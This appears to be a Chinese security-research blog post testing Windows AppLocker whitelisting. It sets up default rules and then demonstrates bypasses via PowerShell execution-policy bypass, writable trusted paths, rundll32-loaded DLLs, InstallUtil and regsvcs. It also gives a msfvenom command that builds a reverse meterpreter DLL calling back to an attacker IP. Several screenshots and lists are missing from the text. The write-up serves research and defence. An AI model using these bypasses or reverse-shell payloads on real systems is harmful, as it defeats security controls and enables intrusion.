上一次我们对McAfee Application Control做了测试,这次接着对另一款白名单工具Windows AppLocker进行测试,分享一下其中的攻防技术。
Windows AppLocker,即“应用程序控制策略”,可用来对可执行程序、安装程序和脚本进行控制,之前只能支持windows7 Enterprise、windows7 Ultimate和WindowsServer2008 R2,但是微软在2012年10月18日将其更新,已支持Windows8.1,Windows Server2012 R2,WindowsServer2012和Windows8 Enterprise
如图
AppLocker可对以下文件格式创建规则,限制其执行
下面我们就实际测试一下相关功能
#!bash OS:Windows7 Ultimate x86
进入计算机管理-服务-Application Identity,将服务设置为开启
如图
输入 secpol.msc
进入本地安全策略-应用程序控制策略-AppLocker
或者 gpedit.msc
-计算机配置-Windows设置-安全设置-应用程序控制策略-AppLocker
如图
对可执行文件设置默认规则:
如图
对脚本设置默认规则:
如图
通过测试发现设置的规则已经生效,能够阻止信任路径外的exe和脚本执行,但是对以下方面没有做限制:
而我们已经掌握的绕过技术有:
再加上新学来的技巧,我们最终发现了如下可供利用的方法:)
成功
(可参照 http://drops.wooyun.org/tips/10667 )
可用来执行vbs和JavaScript脚本
提权到管理员权限,即可执行突破AppLocker的限制,执行exe和脚本
#!bash PowerShell.exe -ExecutionPolicy Bypass -File
#!bash Get-Content script.txt | iex
成功
(可参照 http://drops.wooyun.org/tips/10667 )
既然可以执行powershell脚本,那么就可以反弹出meterpreter
然后尝试进程注入
(可参照 http://drops.wooyun.org/tips/11305 )
如果注入到普通权限进程,无法执行exe和脚本
如果是system权限进程,可以执行exe和脚本
通过ps脚本扫描可写入的路径
下载地址: http://go.mssec.se/AppLockerBC
(如果无法下载,我已将该脚本上传至Github)
测试如图
执行后会自动扫描出可利用的路径
比如选择路径: c:/Windows/Tasks
正常执行calc.js会被拦截
但是 copy calc.js c:/Windows/Tasks
后
再执行 c:/Windows/Tasks/calc.js
,可以绕过拦截
如图
a、直接弹回一个Http shell
(可参照 http://drops.wooyun.org/tips/11764 )
但无法绕过对执行exe和脚本的拦截
b、利用JavaScript执行powershell命令返回HTTP shell
a、自己编写的dll
参考资料:
http://blog.didierstevens.com/2010/02/04/cmd-dll/按照dll的格式,自己编写并生成dll上传
执行
#!bash rundll32.exe cmd.dll,Control_RunDLL
弹出一个cmd
如图
b、反弹meterpreter
kali下:
#!bash msfvenom -p windows/meterpreter/reverse_http -f dll LHOST=192.168.174.133 LPORT=8080>./a.dll
生成a.dll,然后上传至测试主机
执行
#!bash rundll32.exe a.dll,Control_RunDLL
即可上线
如图
利用InstallUtil.exe直接执行shellcode 成功
如果有Microsoft .NET Framework 4.0环境,可用来执行exe
(可参照 http://drops.wooyun.org/tips/8701 , http://drops.wooyun.org/tips/8862 )
成功
(可参照 http://drops.wooyun.org/tips/10667 )
随着研究的逐渐深入,我们不难发现:利用InstallUtil、regsvcs是绕过白名单限制的一把利器,无论是攻击还是防御,对此部分都要尤其重视。
而利用rundll32.exe的技巧,正在慢慢被发掘。
相关文件下载地址:
https://github.com/3gstudent/Bypass-Windows-AppLocker